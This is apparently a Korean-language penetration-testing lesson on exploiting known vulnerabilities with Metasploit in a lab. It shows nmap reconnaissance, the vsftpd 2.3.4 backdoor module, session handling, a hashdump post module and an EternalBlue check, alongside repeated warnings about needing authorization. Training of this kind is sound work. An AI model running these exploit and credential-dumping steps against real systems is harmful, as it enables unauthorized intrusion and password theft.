0Pricing
Cyber Security Academy · 강의

알려진 취약점 악용

실습 환경에서 취약한 대상에 익스플로잇 모듈을 사용하고 세션 출력을 해석합니다.

알려진 취약점 악용은(는) CoddyKit의 무료 Cyber Security Academy 강의입니다. 이것은 4개 중 2번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Cyber Security Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

윤리와 승인 우선

익스플로잇은 소유한 시스템 또는 테스트에 대한 명시적인 서면 승인을 받은 시스템에 대해서만 합법적으로 수행할 수 있습니다. 여기의 모든 예시는 승인된 실습 환경을 위한 것입니다. 승인 없이 익스플로잇을 수행하는 것은 형사 범죄입니다.

실습 환경 설정 권장 사항

Metasploitable2/3, DVWA, VulnHub 머신 또는 HackTheBox/TryHackMe와 같이 의도적으로 취약하게 만든 가상 머신을 사용하여 합법적으로 연습하십시오. 서명된 범위 문서 없이 운영 환경이나 실제 시스템을 테스트하지 마십시오.

# Download Metasploitable2
# https://sourceforge.net/projects/metasploitable/

# Or use VulnHub
# https://www.vulnhub.com/

# Network: host-only adapter (isolated)

익스플로잇 전 정찰

항상 익스플로잇 전에 열거를 수행하십시오. 익스플로잇을 선택하기 전에 정확한 서비스 버전, OS 및 맥락을 파악해야 합니다. 버전이 틀리면 익스플로잇이 실패하거나 시스템이 중단될 수 있습니다.

sudo nmap -sV -O 192.168.1.100

# Identify:
# - OS version
# - Service + exact version
# - Open ports
# Then search Metasploit for matching exploit

올바른 익스플로잇 선택

서비스 이름과 버전으로 검색합니다. 매우 우수함 또는 우수함 등급의 모듈을 우선 사용합니다. info를 읽어 대상 플랫폼과 버전 범위가 일치하는지 확인합니다.

msf6 > search vsftpd 2.3.4
# exploit/unix/ftp/vsftpd_234_backdoor
# Rank: Excellent

msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

익스플로잇 구성 및 실행

RHOSTS(원격 대상), LHOST(역방향 연결에 사용할 자신의 IP), LPORT(수신 포트)를 설정하고 페이로드를 선택한 다음 실행합니다. 세션이 생성되는지 또는 오류 메시지가 표시되는지 확인합니다.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set payload cmd/unix/interact
msf6 > run

# [*] Command shell session 1 opened

결과 해석

익스플로잇이 성공하면 세션이 열립니다. 실패한 익스플로잇에는 오류 메시지가 표시됩니다. 연결이 거부됨(포트가 열려 있지 않음), 익스플로잇 실패(버전이 잘못됨), 세션이 생성되지 않음(페이로드가 역방향 연결에 실패함) 등이 있습니다.

# Success:
[*] Started reverse TCP handler
[*] Command shell session 1 opened

# Failure:
[-] Exploit aborted: Bad return value from check
[-] Exploit failed: No session was created

세션과 상호 작용

익스플로잇 후에는 sessions -i 를 사용하여 세션과 상호 작용합니다. 기본 명령 셸 세션은 터미널을 제공하고, Meterpreter 세션은 풍부한 API를 제공합니다.

msf6 > sessions          # list all sessions
msf6 > sessions -i 1     # interact with session 1

# Once inside:
id
whoami
ifconfig
uname -a

세션 백그라운드 처리 및 여러 세션

Ctrl+Z를 눌러 세션을 백그라운드로 보내고 msfconsole으로 돌아갑니다. 이를 통해 여러 세션을 관리하거나 특정 세션에 대해 익스플로잇 후 모듈을 실행할 수 있습니다.

# Background active session
Ctrl+Z

# List sessions
msf6 > sessions

# Run post module against session 1
msf6 > use post/linux/gather/hashdump
msf6 > set SESSION 1
msf6 > run

확인 명령

많은 익스플로잇 모듈은 실제로 익스플로잇을 수행하지 않고 대상이 취약한지 테스트하는 check 명령을 구현합니다. 사용할 수 있다면 항상 먼저 check를 실행하십시오.

msf6 exploit(ms17_010_eternalblue) > check

# [+] 192.168.1.100:445 - The target is vulnerable.
# Or:
# [-] 192.168.1.100:445 - The target is not vulnerable.

익스플로잇 신뢰성 고려 사항

익스플로잇은 서비스를 중단시키거나 경보를 발생시키거나 로그를 남길 수 있습니다. 운영 환경을 평가할 때는 트래픽이 적은 시간대에 익스플로잇을 실행하고, 롤백 계획을 마련하며, 파괴적인 작업을 실행하기 전에 백업이 있는지 확인하십시오.

익스플로잇 문서화

타임스탬프, 대상 IP와 포트, 사용한 익스플로잇 모듈, CVE 번호, 사용한 페이로드, 획득한 세션 및 증거(스크린샷 또는 터미널 출력)를 기록합니다. 이것이 보고서에서 취약점을 입증하는 증거입니다.

빠른 확인

Metasploit의 "check" 명령은 무엇을 수행합니까?

요약: 취약점 익스플로잇

윤리적인 익스플로잇은 명확한 절차를 따릅니다. 서면 승인을 받고, 신중하게 열거하고, 일치하는 익스플로잇을 선택하고, 모듈 정보를 읽고, 사용할 수 있다면 먼저 check를 실행하고, 실행한 뒤 모든 내용을 문서화합니다. 승인 없이 절대 익스플로잇하지 마십시오. 기술 역량과 윤리적 경계는 서로 분리할 수 없습니다.

자주 묻는 질문

“알려진 취약점 악용” 강의는 무료인가요?

네 — “알려진 취약점 악용” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Cyber Security Academy 강의 전체를 잠금 해제할 수 있습니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“알려진 취약점 악용”에서 뭘 배우나요?

실습 환경에서 취약한 대상에 익스플로잇 모듈을 사용하고 세션 출력을 해석합니다. 브라우저에서 직접 실행하는 실습 코드로 Cyber Security Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Cyber Security Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Cyber Security Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 2번째 강의입니다.

“알려진 취약점 악용” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Cyber Security Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Cyber Security Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. Metasploit 아키텍처와 msfconsole
  2. 알려진 취약점 악용
  3. 페이로드: 스테이징과 비스테이징, Meterpreter
  4. 사후 익스플로잇: 피벗과 지속성
← Cyber Security Academy(으)로 돌아가기